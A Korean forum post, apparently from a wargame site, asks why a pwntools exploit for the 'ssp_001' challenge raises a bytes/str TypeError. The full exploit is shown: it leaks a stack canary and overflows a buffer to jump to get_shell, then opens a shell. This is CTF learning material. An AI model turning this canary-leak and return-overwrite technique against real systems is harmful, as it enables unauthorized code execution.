canary += p.recv(2)
TypeError: can only concatenate str (not "bytes") to str
자꾸 이런 오류가 뜹니다.. 왜 그러는 걸까요??
전체 exploit 코드는 다음과 같습니다
from pwn import *
p = remote('host3.dreamhack.games', 16228)
e = ELF('./ssp_001')
canary = ''
get_shell = e.symbols['get_shell']
#canary 구하기
for i in range(131, 127, -1): #box + 128 + 4, little endian
p.sendafter('>', 'P')
p.sendlineafter('Element index :', bytes(str(i), 'utf-8'))
p.recvuntil(':')
canary += p.recv(2)
#canary += chr(int(p.recvline().strip(),16))
canary = int(canary, 16) #16진수 문자열을 10진수 정수로 변경
log.info('[+]canary: 0x%x' %canary)
payload = b'A'* 0x40 #name[64]
payload += p32(canary) #canary
payload += b'B'*8 #dummy+ebp
payload += p32(get_shell) #ret overload
p.sendafter('>', 'E')
p.sendlineafter('Name Size :', '200')
p.sendafter('Name :', payload)
p.interactive()